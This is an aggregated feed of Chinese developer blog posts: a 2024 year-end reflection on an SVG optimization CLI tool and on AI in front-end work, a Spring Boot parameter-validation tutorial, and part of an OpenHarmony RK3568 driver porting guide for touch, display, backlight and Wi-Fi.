做公司项目的时候,不同项目之间总是使用相同的图标,或者只是颜色不同的图标,还有大小不一样的图标,因为不同项目间的,没办法共用,我就开始写个图标组件库,动态的改变图标的颜色,使用svg图片是比较合适的,符合我的项目需求,但是单纯的svg图标无法实现动态图标,那要转化为组件,我用的是react,那我要转化为React组件。刚开始不以为然,命名传参,返回svg图像,但UI切的SVG图,并不什么时候都能用够直接使用的,需要处理,因为React组件正常使用,需要手动修改。

那时候就开始思考,能不能通过工具进行处理,然后进行百度,还别说真的可以,有现成的插件的,可以直接生成,但是插件它只能生成React的组件, 不能生成Vue的组件,那就不能在不同框架下进行使用,有时候我也只想对图片进行优化,有些图标不需要改变颜色,尺寸,也不需要点击交互,单纯的优化。那它就不满足我的需求了。就开始尝试自己写一个。

在实现过程中,不断的优化的自己的工具,实现出一个工具 -wsksvg。

我是如何进行设计的实现的:

wsksvg — SVG 转换与优化工具wsksvg它不仅能够,实现对svg的优化,包括png,jpg图片的优化,还能够 - 掘金

wsksvg - 支持SVG、JPEG、GIF、PNG、WebP格式图片的优化通过 wsksvg 插件,开发者可以高效地 - 掘金

wsksvg - 优化升级,支持多进程处理文件和 SVG 图像转化在不断发展的前端技术中,图像的优化和处理始终是提升应用 - 掘金

一天打造!超实用的企业级别图标组件库在使用阿里图标库中,我灵感来了,那我也可以靠它快速的实现一个图标组件库。有多快,一天 - 掘金

如果想使用的朋友,可以进行使用。

1.安装

npm install -g wsksvg

2.使用列子

  wsksvg audio-file-raw.svg 
  wsksvg audio-file-raw.jpg
  wsksvg audio-file-raw.png
  wsksvg ./rawSvg  //支持模糊匹配文件名称
  wsksvg ./rawSvg ./test  //默认优化图像文件
  wsksvg ./rawSvg ./testVue --vue  //生成vue组件
  wsksvg ./rawSvg ./testReact --react //生成react 组件
  wsksvg ./rawSvg/input.svg  ./path/to/output --base //将SVG 转换为 Base64 编码
  wsksvg ./rawSvg/input.svg  ./path/to/output --format png //将SVG 转换为其它图片格式

  ./rawSvg 输入文件路径  ./test 输出文件路径

在专注于解决实际项目中的技术问题,如开发图标工具的过程中,我也时刻关注着行业的新兴技术动态。当下,AI 无疑是最受瞩目的技术之一,它对前端开发领域也产生了深远的影响,下面我想谈谈我对 AI 的一些看法

对于 AI 的看法:理性看待,积极应对

AI在2024年发展迅猛,有时候看那些博主的文章,AI替代前端,前端可以下岗了,有时候我也会感到焦虑,也会对未来迷茫。但当我用AI写代码的时候,还是有很多的问题,如果问一些技术,它好像还停留在之前的技术上,没有及时的更新。而且写出来的代码,也不是很符合业务需求。不过让它对代码进行润色,确实是挺不错的。当然有些AI确实挺强,想即时设计一个AI,还有一个业内首个Ai程序员Devin,给出我们的需求,它们也能够生成出相应的框架下的代码。确实挺强的,这对刚入行的前端新手而言,确实存在较强的替代性。

但现在还是取代不了我们前端的,取代一个岗位,应该直接生产那个岗位的产物,直接生成相应的产品就好了,前端切图能取代,后台增删改查不也一样能吗,直接生成产品就好。但目前还是生成的代码。加上客户连自己都不知道自己想要啥,有时我们开发都很难理解用户的需求。所以别说短时间能取代了。我是一直把AI当成工具的,提升我们的工作效率的工具,同时也可以借助AI,快速试错。你要相信,你是比AI更省电的,玩笑归玩笑,但我们作为技术人员,我们更应该去学习和应用 AI 技术相关的技术,最起码了解各类 AI 模型的功能,能帮我们做什么事情,同时将其与我们的专业技能相结合。 如在前端开发中,利用 AI 辅助进行界面设计优化、性能检测等。在大环境不好的情况下,我们更要不断提升自己的核心竞争力,培养创新思维和解决复杂问题的能力,这样才能在 AI 时代不被淘汰。

对于AI我是这样想的,我们应更关注前端如何与 AI 协同使用。因为AI出来不仅是提升效能,它也要给人进行交互使用,为用户带来优质体验。而不是一天天的出一些前端将会下岗的文章,贩卖焦虑,然后进行卖课卖资料,搞得人心惶惶,行情不好不止是互联网的不好,其它行业也是不景色的,只是互联网太多人涌入,饱和了,竞争剧烈,等诸多因素影响,又不是单纯的AI的影响。我们应聚焦于前端技术与 AI 模型的融合,致力于为用户打造新型的 AI 交互体验。当然还要前端大佬们以及巨老们发力。期待不一样的前端与AI结合的新型技术或工具出现。

2024 那些值得关注的 AI 工具都在这儿

技术与生活:平衡发展,相互促进

别卷了,各位大佬别那么卷,前端都被你们卷出新高度了,技术,框架时不时出新的,学的还没出的快,学不动了,学不动了。我们工作也是为了更好的生活,虽然技术更新迭代,对于推动社区有巨大的帮助,但是一直重复造一些轮子真的好嘛。

生活还是要继续的,让节奏稍微慢一些,享受一下生活,感受一下大自然风景,发现生活中的小美好,对生活的至极的热爱,才能在创造中拥有一个突然灵感,让技术去实现更贴切生活的交互。雷军说:科技不是高高在上,而是服务于人民。我们也要享受一下科技带来的不一样的生活啊。而且,有时间不要忘了多陪陪家人,养养花,喝喝茶,有时间多看看其它书也不错啊,扩展思维,拓宽了自己的知识面和思维方式。慢下来,享受生活,有时候效率会更高。培养一些兴趣爱好,这样不仅让工作之余得到放松,也能为我们技术性的工作带来新的灵感。只有热爱生活,才能更好地投入到技术工作中,两者是相辅相成的。

当然我并不是呼吁什么,别在卷技术什么的, 因为大环境不好,岗位少了,竞争力大了,在加上到处裁员,很多人也是被逼的卷起来,卷起来也是为了找份更好的工作,工资更高些,如果可以,谁不想好好生活,去旅游,去打游戏,去做自己喜欢的事情。我只是为了提醒你,2024年忙碌了一年,别搞自己搞太累,记得休息,别忘了,除了技术,我们还有自己的生活。

发现生活中的小美好,我养的花开了

今天不分享技术,分享秋天的故事这个爱情故事好像是个悲剧,你说的是婚姻。爱情没有悲剧,对爱者而言,爱情怎么会是悲剧呢。对春 - 掘金

迷茫下是自我提升谁的青春不迷茫,迷茫下只能是顺势而为,不断提升自己。迷茫中不忘初心,坚持心中得所想,不断进步。当然特别迷 - 掘金

题外话:努力可以增加幸运事件的发生

为什么说?越努力越幸运,它其实是有科学依据的,你得不断学习提升你得能力,让你的幸运值更高。

从一项研究中得出结论说,一个人能否成功,和他的才华没有必然联系,运气才是决定性因素。不过,一个人的真实生活是很复杂的,这个研究可能也并不能真正地模拟一个人的人生。但它起码提醒了我们,运气,又或者说机遇,在我们生活中的重要性可能被大大低估了。

不过,这并不意味着我们就能躺平,让上帝随机投骰子了。因为首先,你得让自己成为一个能力在“中间偏右”的人,偏右的人幸运值越高,其次,你要增加好运发生的概率。天赋值更高的人,抓住机遇的可能性越大。也就是说:

有运气还不够,还得具备发现并且抓住机遇的能力,才能让幸运事件发生。

所以说仅仅有运气的好处还不够,因为我们不能依赖偶然性来获得成功和幸福。相反,我们应该具备发现并且抓住机遇的能力,在运气到来时能够及时抓住机会,从而让幸运事件发生。

如何抓住机会呢?

无非就是做到以下这些:

保持敏锐的观察力

拓展人脉和信息渠道

掌握专业知识和技能

勇于尝试和创新

保持积极心态和行动力

完整的文章内容看这篇:天赋与运气:随机性在成功与失败中的作用-CSDN博客

总结

总的来说:2024年,从刚开始的只关注前端页面的技术实现,到全面思考页面布局、项目设计、产品设计,工具的设计与实现,由点到线到面的一种过程,以及对未来AI时代的思考。往后还有很长的路要走,走着虽然很艰辛,但我会继续努力,不断提升自己,在技术的道路上稳步前行,提升自己,同时也不忘记享受生活的每一刻,发现生活中的小美好。希望我的这些经历和思考,能给同样在迷茫中探索的人一些启发。

最后:岁不声不响,你且不慌不忙。在凡俗的烟火里,愿以素心,阅来日方长。祝大家新年快乐,万事如意,心想事成~

by 大前端helloworld at January 22, 2025 01:09 PM

juejin backend

Java后端Controller参数校验的一些干货及问题~

你们好,我是金金金。

image.png

场景

先看如下一张图,这是一个控制器里面的一个方法,第一眼是不是就感觉代码量非常多?而且随着参数越来越多 你则需要写nif else来完成校验,属实是麻烦而且不够优雅

image.png

JSR303校验

仔细认真看,更容易理解吸收,想想什么层面需要做校验呢?

  • 前端请求后端接口传输参数,是在controller中校验还是在Service中校验?

都需要校验,只是分工不同。

  • Contoller中校验请求参数的合法性,包括:必填项校验,数据格式校验,比如:是否是符合一定的日期格式,等。

  • Service中要校验的是业务规则相关的内容,比如:课程已经审核通过所以提交失败。

  • Service中根据业务规则去校验不方便写成通用代码,Controller中则可以将校验的代码写成通用代码。

  • Service层,校验是和业务逻辑紧密相关的。因为不同的业务场景下,校验规则可能不同,很难将这些规则抽象成通用的代码。 比如,在处理订单的Service层中,校验的逻辑可能会涉及多个业务条件和数据库查询,这些条件可能只在特定的业务场景下适用,难以通用化。

    • 所以一般service层都是手动if校验

    image.png

  • Controller层,校验通常是对请求参数的基本合法性进行验证 例如字段是否为空、长度是否在允许范围内、值是否在有效范围内等。由于这些校验规则通常是标准化的,不依赖于复杂的业务逻辑,因此很容易抽象成通用代码。 例如,可以使用注解、AOP等方式实现通用的参数校验逻辑,这样在不同的Controller中都可以复用这些校验逻辑。

    • 所以controller层一般可以使用注解做校验

      image.png 早在JavaEE6规范中就定义了参数校验的规范,它就是JSR-303,它定义了Bean Validation,即对bean属性进行校验。

SpringBoot提供了JSR-303的支持,它就是spring-boot-starter-validation,它的底层使用Hibernate ValidatorHibernate ValidatorBean Validation 的参考实现。

所以,在Controller层使用spring-boot-starter-validation完成对请求参数的基本合法性进行校验。

使用

  • 如何在controller层面完成优雅的参数校验呢?接着往下看~

引入需要的坐标依赖

参数校验(Spring Boot 2.3.1之后,spring-boot-starter-validation已经不包括在了spring-boot-starter-web中,需要手动加上)

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-validation</artifactId>
</dependency>

规则对应参考如下:

image.png

实体类

  • 控制器层方法接收的参数是一个DTO实体类

    image.png

  1. 定义校验规则:首先找到这个DTO,在对应的属性上面添加对应的校验注解

    image.png

  2. 开启校验:在Controller方法接收参数前面加上注解@Validated

    image.png

  3. 自定义全局校验拦截MethodArgumentNotValidException异常(参数验证失败会抛出这个异常,所以也就是为什么拦截这个异常的原因),返回自定义响应实体给到前端

    image.png

  4. 测试

    • 我已经测试过了,是可以的,我就不贴图片了(懒一下~)

单个、多个参数校验

  • 控制器层方法接收的参数不是一个实体类,而是直接写明了参数个数的情况(一般参数个数低于三个可以这么写,超过3个还是建议用一个DTO接收比较好~)

    image.png

  1. 方法所在的控制器类上加注解@Validated

    image.png

  2. 参数前面加入相对应的校验注解

    image.png

    这里有个坑需要注意~先接着往下看

  3. 测试,前端不传递roomNumber参数

    • 前端并未收到房间号不能为空的信息

      image.png

    • 后端也并未打印出房间号为空的字样

      image.png

    这里需要注意,是因为加了@RequestParam导致没传递参数被此注解给拦截了,并未走到@NotBlank

    所以既然加了@NotBlank校验,可以把@RequestParam("roomNumber")给去掉

    image.png

  4. 再次测试

    • 后端:成功被全局异常所拦截,成功打印信息

      image.png

    • 前端:接收到了后端返回的信息,弹出对应的报错信息,相当完美!

      image.png

  • 传入一个三位数字的字符串,如预期一样提示出来了

    image.png

总结

DTO参数

  1. 对应属性上加入校验规则注解
  2. 开启校验,在对应的方法参数前面加@Validated

普通参数

  1. 控制器类上加入@Validated
  2. 方法参数前面加入对应的校验规则注解(注意:@RequestParam注解)
  • 编写有误还请大佬指正,万分感谢。

by 金金金__ at January 22, 2025 12:50 PM

OpenHarmony(鸿蒙南向开发)——标准系统方案之瑞芯微RK3568移植案例(下)

TP

TP驱动模型

主要包含Input模块HDI(Hardware Driver Interface)接口定义及其实现,对上层输入服务提供操作input设备的驱动能力接口,HDI接口主要包括如下三大类:

  • InputManager:管理输入设备,包括输入设备的打开、关闭、设备列表信息获取等;
  • InputReporter:负责输入事件的上报,包括注册、注销数据上报回调函数等;
  • InputController:提供input设备的业务控制接口,包括获取器件信息及设备类型、设置电源状态等。

图 1 INPUT模块HDI接口层框架图

相关目录下源代码目录结构如下所示

/drivers/peripheral/input
├── hal                # input模块的hal层代码
│   └── include       # input模块hal层内部的头文件
│   └── src           # input模块hal层代码的具体实现
├── interfaces         # input模块对上层服务提供的驱动能力接口
│   └── include       # input模块对外提供的接口定义
├── test               # input模块的测试代码
│   └── unittest      # input模块的单元测试代码

TP HDF驱动适配

TP驱动涉及的文件及目录

dayu200平台默认支持GT5688这颗TP IC。

开发板移植touch驱动涉及的文件及目录:

1、 Makefile文件: drivers\adapter\khdf\linux\model\input\Makefile

2、 vendor\hihope\rk3568\hdf_config\khdf\device_info\device_info.hcs

3、 vendor\hihope\rk3568\hdf_config\khdf\input\input_config.hcs

4、 drivers\framework\model\input\driver\touchscreen

TP驱动的适配涉及TP驱动和hcs配置

tp驱动的适配依赖hdf的input模型,hdf的input模型提供了TP,KEY,HID等场景的设备注册,管理,数据转发层,hcs解析等场景的支持能力。hdf的input模型可大致抽象为驱动管理层、公共驱动层以及器件驱动三层。

从功能的角度看hdf input模块的框架如下:

因为hdf input模型的高度抽象集成,TP驱动的适配驱动主要涉及器件驱动层的适配。

在适配前,需要先明确tp所需要的的资源。

对于硬件资源,tp模组需要主机上的如下资源:

1.中断引脚

2.Reset引脚

3.使用的哪一组i2c,从设备的地址是什么

4.TP的初始化固件(这个通常由IC厂商提供)

5.触摸屏的分辨率

对于软件资源,在hdf上适配tp,需要依赖如下几个hdf基础模组:

1.Hdf gpio子系统 用于设置gpio pin脚以及一些中断资源

2.Hdf i2c 子系统 用于进行i2c通信

3.Input模型

器件驱动主要围绕如下结构体展开

static struct TouchChipOps g_gt911ChipOps = {
    .Init = ChipInit,
    .Detect = ChipDetect,
    .Resume = ChipResume,
    .Suspend = ChipSuspend,
    .DataHandle = ChipDataHandle,
    .UpdateFirmware = UpdateFirmware,
    .SetAbility = SetAbility,
};

ChipInit负责器件驱动的初始化动作

ChipDetect负责初始化后的器件有效性检测

SetAbility设置按键属性

ChipDataHandle负责解析键值

UpdateFirmware负责升级固件

ChipSuspend负责器件的休眠

ChipResume负责器件的唤醒

按照器件的特性实现如上接口回调,并将该结构体注册进input模型即可

HCS 配置

device_info.hcs中加入新的器件节点

device_touch_chip :: device {
                device0 :: deviceNode {
                    policy = 0;
                    priority = 180;
                    preload = 0;//0表示默认加载
                    permission = 0660;
                    moduleName = "HDF_TOUCH_GT911";//需要和器件driver中保持一致
                    serviceName = "hdf_touch_gt911_service";
                    deviceMatchAttr = "zsj_gt911_5p5";
                }
            }

input_config.hcs中加入器件的特性

chipConfig {
                    template touchChip {
                        match_attr = "";
                        chipName = "gt911";
                        vendorName = "zsj";
                        chipInfo = "AAAA11222";  // 4-ProjectName, 2-TP IC, 3-TP Module
                        /* 0:i2c 1:spi*/
                        busType = 0;
                        deviceAddr = 0x5D;
                        /* 0:None 1:Rising 2:Failing 4:High-level 8:Low-level */
                        irqFlag = 2;
                        maxSpeed = 400;
                        chipVersion = 0; //parse Coord TypeA
                        powerSequence {
                            /* [type, status, dir , delay]
                                <type> 0:none 1:vcc-1.8v 2:vci-3.3v 3:reset 4:int
                                <status> 0:off or low  1:on or high  2:no ops
                                <dir> 0:input  1:output  2:no ops
                                <delay> meanings delay xms, 20: delay 20ms
                             */
                            powerOnSeq = [4, 0, 1, 5,
                                         3, 0, 1, 10,
                                         3, 1, 1, 60,
                                         4, 2, 0, 50];
                            suspendSeq = [3, 0, 2, 10];
                            resumeSeq = [3, 1, 2, 10];
                            powerOffSeq = [3, 0, 2, 10,
                                           1, 0, 2, 20];
                        }
                    }

显示适配

显示适配需要完成的工作:图形服务HDI接口适配、GPU适配、LCD驱动适配

显示HDI

显示HDI对图形服务提供显示驱动能力,包括显示图层的管理、显示内存的管理及硬件加速等。 显示HDI需要适配两部分:gralloc 和 display_device。

gralloc适配

gralloc模块提供显示内存管理功能,OpenHarmony提供了使用与Hi3516DV300参考实现,厂商可根据实际情况参考适配,该实现基于drm开发。

drm设备节点定义在//drivers_peripheral/display/hal/default_standard/srd/display_gralloc/display_gralloc_gbm.c文件中,可根据实际情况修改

const char *g_drmFileNode = "/dev/dri/card0";

该实现中存在一个海思的私有ioctl命令码 DRM_IOCTL_HISILICON_GEM_FD_TO_PHYADDR 定义在//drivers_peripheral/display/hal/default_standard/src/display_gralloc/hisilicon_drm.h 文件中, 在//drivers_peripheral/display/hal/default_standard/src/display_gralloc/display_gralloc_gbm.c文件中调用,属于海思的私有功能,适配时根据实际情况修改

...
    InitBufferHandle(bo, fd, info, priBuffer);
    priBuffer->hdl.phyAddr = GetPhysicalAddr(grallocManager->drmFd, fd);
    *buffer = &priBuffer->hdl;
...

display device适配

display device模块提供显示设备管理、layer管理、硬件加速等功能。

OpenHarmony提供了 基于drm的Hi3516DV300芯片的参考实现,该实现默认支持硬件合成;

如开发板不支持硬件合成,需要在drm_display.cpp文件中跳过gfx的初始化,

drivers_peripheral/blob/master/display/hal/default_standard/src/display_device/drm/drm_display.cpp
int32_t DrmDisplay::Init()
{
    ...
    ...
    ret = HdiDisplay::Init();
    DISPLAY_CHK_RETURN((ret != DISPLAY_SUCCESS), DISPLAY_FAILURE, DISPLAY_LOGE("init failed"));
    auto preComp = std::make_unique<HdiGfxComposition>();
    DISPLAY_CHK_RETURN((preComp == nullptr), DISPLAY_FAILURE,
        DISPLAY_LOGE("can not new HdiGfxComposition errno %{public}d", errno));
    ret = preComp->Init();                                                                                          // gfx初始化,这里需要跳过
    DISPLAY_CHK_RETURN((ret != DISPLAY_SUCCESS), DISPLAY_FAILURE, DISPLAY_LOGE("can not init HdiGfxComposition"));  // 或者不判断返回值

    ...
}

同时在//drivers_peripheral/display/hal/default_standard/src/display_device/hdi_gfx_composition.cpp文件中修改set_layers方法,全部使用CPU合成显示

int32_t HdiGfxComposition::SetLayers(std::vector<HdiLayer *> &layers, HdiLayer &clientLayer)
{
    DISPLAY_LOGD("layers size %{public}zd", layers.size());
    mClientLayer = &clientLayer;
    mCompLayers.clear();
    for (auto &layer : layers) {
        if (CanHandle(*layer)) {
#if 0                                      // CPU合成
            layer->SetDeviceSelect(COMPOSITION_CLIENT);
#else
            if ((layer->GetCompositionType() != COMPOSITION_VIDEO) &&
                (layer->GetCompositionType() != COMPOSITION_CURSOR)) {
                layer->SetDeviceSelect(COMPOSITION_DEVICE);
            } else {
                layer->SetDeviceSelect(layer->GetCompositionType());
            }
#endif
            mCompLayers.push_back(layer);
        }
    }
    DISPLAY_LOGD("composer layers size %{public}zd", mCompLayers.size());
    return DISPLAY_SUCCESS;
}

测试验证

hello_composer测试模块:Rosen图形框架提供的测试程序,主要显示流程,HDI接口等功能是否正常。默认随系统编译。

代码路径:

foundation/graphic/graphic/rosen/samples/composer/
├── BUILD.gn
├── hello_composer.cpp
├── hello_composer.h
├── layer_context.cpp
├── layer_context.h
└── main.cpp

具体验证如下:

  1. 关闭render service
service_control stop render_service

  1. 关闭 foundation进程
service_control stop foundation

  1. 运行hello_composer 测试相关接口
./hello_composer

devicetest测试:HDI显示模块提供的测试模块,主要测试HDI接口、显示buffer、驱动等能力,测试时也需要关闭render service和 foundation进程。

代码路径:/drivers/peripheral/display/test/unittest/standard

├── BUILD.gn
├── common
│   ├── display_test.h
│   ├── display_test_utils.cpp
│   └── display_test_utils.h
├── display_device
│   ├── hdi_composition_check.cpp
│   ├── hdi_composition_check.h
│   ├── hdi_device_test.cpp
│   ├── hdi_device_test.h
│   ├── hdi_test_device_common.h
│   ├── hdi_test_device.cpp
│   ├── hdi_test_device.h
│   ├── hdi_test_display.cpp
│   ├── hdi_test_display.h
│   ├── hdi_test_layer.cpp
│   ├── hdi_test_layer.h
│   ├── hdi_test_render_utils.cpp
│   └── hdi_test_render_utils.h
└── display_gralloc
    ├── display_gralloc_test.cpp
    └── display_gralloc_test.h

GPU

编译器clang

prebuilts/clang/ohos/linux-x86_64/llvm

musl库

./build.sh --product-name rk3568 --build-target musl_all 

编译完成后,会在 out/{product_name}/obj/third_party/musl/usr/lib目录下生成对应的头文件和库:

32位对应arm-linux-ohos

64位对应aarch64-linux-ohos

源码目录:

third_party/musl

GPU 编译参数参考

TARGET_CFLAGS=" -march=armv7-a -mfloat-abi=softfp -mtune=generic-armv7-a -mfpu=neon -mthumb --target=arm-linux-ohosmusl -fPIC -ftls-model=global-dynamic -mtls-direct-seg-refs -DUSE_MUSL"

LCD

dayu200平台默认支持一个mipi接口的lcd屏幕

LCD的适配主要依赖于HDF显示模型,显示驱动模型基于 HDF 驱动框架、Platform 接口及 OSAL 接口开发,可以屏蔽不同内核形态(LiteOS、Linux)差异,适用于不同芯片平台,为显示屏器件提供统一的驱动平台。

如图为 HDF Display驱动模型层次关系

当前驱动模型主要部署在内核态中,向上对接到 Display 公共 hal 层,辅助 HDI 的实现。显示驱动通过 Display-HDI 层对图形服务暴露显示屏驱动能力;向下对接显示屏 panel 器件,驱动屏幕正常工作,自上而下打通显示全流程通路。

所以LCD的适配主要在于LCD panel器件驱动的适配

器件驱动的适配分为2部分:panel驱动和hcs配置

涉及的文件有:

drivers/framework/model/display/driver/panel

vendor/hihope/rk3568/hdf_config/khdf/device_info

vendor/hihope/rk3568/hdf_config/khdf/input

panel驱动

器件驱动主要围绕如下接口展开:

struct PanelData {
    struct HdfDeviceObject *object;
    int32_t (*init)(struct PanelData *panel);
    int32_t (*on)(struct PanelData *panel);
    int32_t (*off)(struct PanelData *panel);
    int32_t (*prepare)(struct PanelData *panel);
    int32_t (*unprepare)(struct PanelData *panel);
    struct PanelInfo *info;
    enum PowerStatus powerStatus;
    struct PanelEsd *esd;
    struct BacklightDev *blDev;
    void *priv;
};

驱动中在初始化接口中实例化该结构体:

panelSimpleDev->panel.init = PanelSimpleInit;
panelSimpleDev->panel.on = PanelSimpleOn;
panelSimpleDev->panel.off = PanelSimpleOff;
panelSimpleDev->panel.prepare = PanelSimplePrepare;
panelSimpleDev->panel.unprepare = PanelSimpleUnprepare;

PanelSimpleInit负责panel的软件初始化

PanelSimpleOn负责亮屏

PanelSimpleOff负责灭屏

PanelSimplePrepare负责亮屏的硬件时序初始化

PanelSimpleUnprepare负责灭屏的硬件时序初始化

实例化后使用RegisterPanel接口向display模型注册该panel驱动即可

需要说明的是,dayu200上的这款lcd 使用的是DRM显示框架

hcs配置

device4 :: deviceNode {
                    policy = 0;
                    priority = 100;
                    preload = 0;
                    moduleName = "LCD_PANEL_SIMPLE";
                }

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:

1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

背光

基于HDF框架开发的 背光驱动模型

rk3568背光是通过pwm控制占空比实现的,具体使用的是pwm4

原生背光驱动代码路径

linux-5.10/drivers/video/backlight/pwm_bl.c
linux-5.10/drivers/video/backlight/backlight.c
linux-5.10/drivers/pwm/pwm-rockchip.c
c

使用HDF框架下的背光驱动,需要关闭原生驱动

# CONFIG_BACKLIGHT_PWM is not set

HDF实现

代码路径

drivers/framework/model/display/driver/backlight/hdf_bl.c
c

HDF BL 入口函数

static int32_t BacklightInit(struct HdfDeviceObject *object)
{
    if (object == NULL) {
        HDF_LOGE("%s: object is null!", __func__);
        return HDF_FAILURE;
    }
    HDF_LOGI("%s success", __func__);
    return HDF_SUCCESS;
}

struct HdfDriverEntry g_blDevEntry = {
    .moduleVersion = 1,
    .moduleName = "HDF_BL",
    .Init = BacklightInit,
    .Bind = BacklightBind,
};

HDF_INIT(g_blDevEntry);

代码路径:

drivers/framework/model/display/driver/backlight/pwm_bl.c

HDF PWM 入口函数

struct HdfDriverEntry g_pwmBlDevEntry = {
    .moduleVersion = 1,
    .moduleName = "PWM_BL",
    .Init = BlPwmEntryInit,
};

HDF_INIT(g_pwmBlDevEntry);

具体控制背光的接口:

static int32_t BlPwmUpdateBrightness(struct BacklightDev *blDev, uint32_t brightness)
{
    int32_t ret;
    uint32_t duty;
    struct BlPwmDev *blPwmDev = NULL;

    blPwmDev = ToBlDevPriv(blDev);
    if (blPwmDev == NULL) {
        HDF_LOGE("%s blPwmDev is null", __func__);
        return HDF_FAILURE;
    }
    if (blPwmDev->props.maxBrightness == 0) {
        HDF_LOGE("%s maxBrightness is 0", __func__);
        return HDF_FAILURE;
    }
    if (brightness == 0) {
        return PwmDisable(blPwmDev->pwmHandle);
    }
    duty = (brightness * blPwmDev->config.period) / blPwmDev->props.maxBrightness;
    ret = PwmSetDuty(blPwmDev->pwmHandle, duty);
    if (ret != HDF_SUCCESS) {
        HDF_LOGE("%s: PwmSetDuty failed, ret %d", __func__, ret);
        return HDF_FAILURE;
    }
    return PwmEnable(blPwmDev->pwmHandle);
}

static struct BacklightOps g_blDevOps = {
    .updateBrightness = BlPwmUpdateBrightness,
};

其实使用的就是HDF PWM 实现的对接内核pwm的接口

在LCD HDF器件驱动注册背光

代码路径

drivers/framework/model/display/driver/panel/ili9881c_boe.c

ili9881cBoeDev->panel.blDev = GetBacklightDev("hdf_pwm");
if (ili9881cBoeDev->panel.blDev == NULL) {
    HDF_LOGE("%s GetBacklightDev fail", __func__);
    goto FAIL;
}

HCS配置

驱动hcs配置

device_pwm_bl :: device {
    device0 :: deviceNode {
        policy = 0;
        priority = 95;
        preload = 0;
        moduleName = "PWM_BL";
        deviceMatchAttr = "pwm_bl_dev";
    }
}
device_backlight :: device {
    device0 :: deviceNode {
        policy = 2;
        priority = 90;
        preload = 0;
        permission = 0660;
        moduleName = "HDF_BL";
        serviceName = "hdf_bl";
    }
}

测试

cat /sys/kernel/debug/pwm 来查看hdf pwm 是否申请到pwm4

申请成功有如下结果:

requested 代表申请成功

enabled 代表pwm4使能成功

# cat /sys/kernel/debug/pwm

platform/fe6e0000.pwm, 1 PWM device
 pwm-0   ((null)              ): requested enabled period: 25000 ns duty: 9705 ns polarity: normal

WIFI

WIFI HDF化思路

主要参考《OpenHarmony HDF WLAN驱动分析》与使用 这篇文章,熟悉HDF WLAN的框架以及需要实现的主要接口,包括HDF驱动初始化接口、WLAN控制侧接口集、AP模式接口集、STA模式接口集、网络侧接口集、事件上报接口的实现。

接下来熟悉HCS文件的格式以及"HDF WIFI”核心驱动框架的代码启动初始化过程,参考hi3881的代码进行改造。

HDF WiFi框架总体框架图

ap6275s驱动代码流程分析

驱动模块初始化流程分析

Ap6275s 是一款SDIO设备WiFi模组驱动,使用标准Linux的SDIO设备驱动。内核模块初始化入口module_init()调用dhd_wifi_platform_load_sdio()函数进行初始化工作,这里调用wifi_platform_set_power()进行GPIO上电,调用dhd_wlan_set_carddetect()进行探测SDIO设备卡,最后调用sdio_register_driver(&bcmsdh_sdmmc_driver);进行SDIO设备驱动的注册,SDIO总线已经检测到WiFi模块设备 根据设备号和厂商号与该设备驱动匹配, 所以立即回调该驱动的bcmsdh_sdmmc_probe()函数,这里进行WiFi模组芯片的初始化工作,最后创建net_device网络接口wlan0,然后注册到Linux内核协议栈中。

l 创建net_device网络接口wlan0对象

dhd_allocate_if()会调用alloc_etherdev()创建net_device对象,即wlan0网络接口。

l 将wlan0注册到内核协议栈

调用dhd_register_if()函数,这里调用register_netdev(net);将wlan0网络接口注册到协议栈。

整改代码适配HDF WiFi框架 对于系统WiFi功能的使用,需要实现AP模式、STA模式、P2P三种主流模式,这里使用wpa_supplicant应用程序通过HDF WiFi框架与WiFi驱动进行交互,实现STA模式和P2P模式的功能,使用hostapd应用程序通过HDF WiFi框架与WiFi驱动进行交互,实现AP模式和P2P模式的功能。

Ap6275s WiFi6内核驱动依赖platform能力,主要包括SDIO总线的通讯能力;与用户态通信依赖HDF WiFi框架的能力,在确保上述能力功能正常后,即可开始本次WiFi驱动的HDF适配移植工作。本文档基于已经开源的rk3568开源版代码为基础版本,来进行此次移植。

适配移植ap6275s WiFi6驱动涉及到的文件和目录如下:

1). 编译配置文件

drivers/adapter/khdf/linux/model/network/wifi/Kconfig

drivers/adapter/khdf/linux/model/network/wifi/vendor/Makefile

2). WiFi驱动源码目录

原生驱动代码存放于:

linux-5.10/drivers/net/wireless/rockchip_wlan/rkwifi/bcmdhd_wifi6/

在原生驱动上增加以及修改的代码文件位于:

device/hihope/rk3568/wifi/bcmdhd_wifi6/

目录结构:

./device/hihope/rk3568/wifi/bcmdhd_wifi6/hdf
├── hdf_bdh_mac80211.c
├── hdf_driver_bdh_register.c
├── hdfinit_bdh.c    
├── hdf_mac80211_ap.c    
├── hdf_mac80211_sta.c          
├── hdf_mac80211_sta.h     
├── hdf_mac80211_sta_event.c     
├── hdf_mac80211_sta_event.h
├── hdf_mac80211_p2p.c
├── hdf_public_ap6275s.h
├── net_bdh_adpater.c  
├── net_bdh_adpater.h 

其中hdf_bdh_mac80211.c主要对g_bdh6_baseOps所需函数的填充, hdf_mac80211_ap.c主要对g_bdh6_staOps所需函数进行填充,hdf_mac80211_sta.c主要对g_bdh6_staOps所需函数进行填充,hdf_mac80211_p2p.c主要对g_bdh6_p2pOps所需函数进行填充,在openharmony/drivers/framework/include/wifi/wifi_mac80211_ops.h里有对wifi基本功能所需api的说明。

驱动文件编写

HDF WLAN驱动框架由Module、NetDevice、NetBuf、BUS、HAL、Client 和 Message 这七个部分组成。开发者在WiFi驱动HDF适配过程中主要实现以下几部分功能:

  1. 适配HDF WLAN框架的驱动模块初始化

代码流程框图如下:

代码位于device/hihope/rk3568/wifi/bcmdhd_wifi6/hdf_driver_bdh_register.c

struct HdfDriverEntry g_hdfBdh6ChipEntry = {
  .moduleVersion = 1,
  .Bind = HdfWlanBDH6DriverBind,
  .Init = HdfWlanBDH6ChipDriverInit,
  .Release = HdfWlanBDH6ChipRelease,
  .moduleName = "HDF_WLAN_CHIPS"
};
HDF_INIT(g_hdfBdh6ChipEntry);

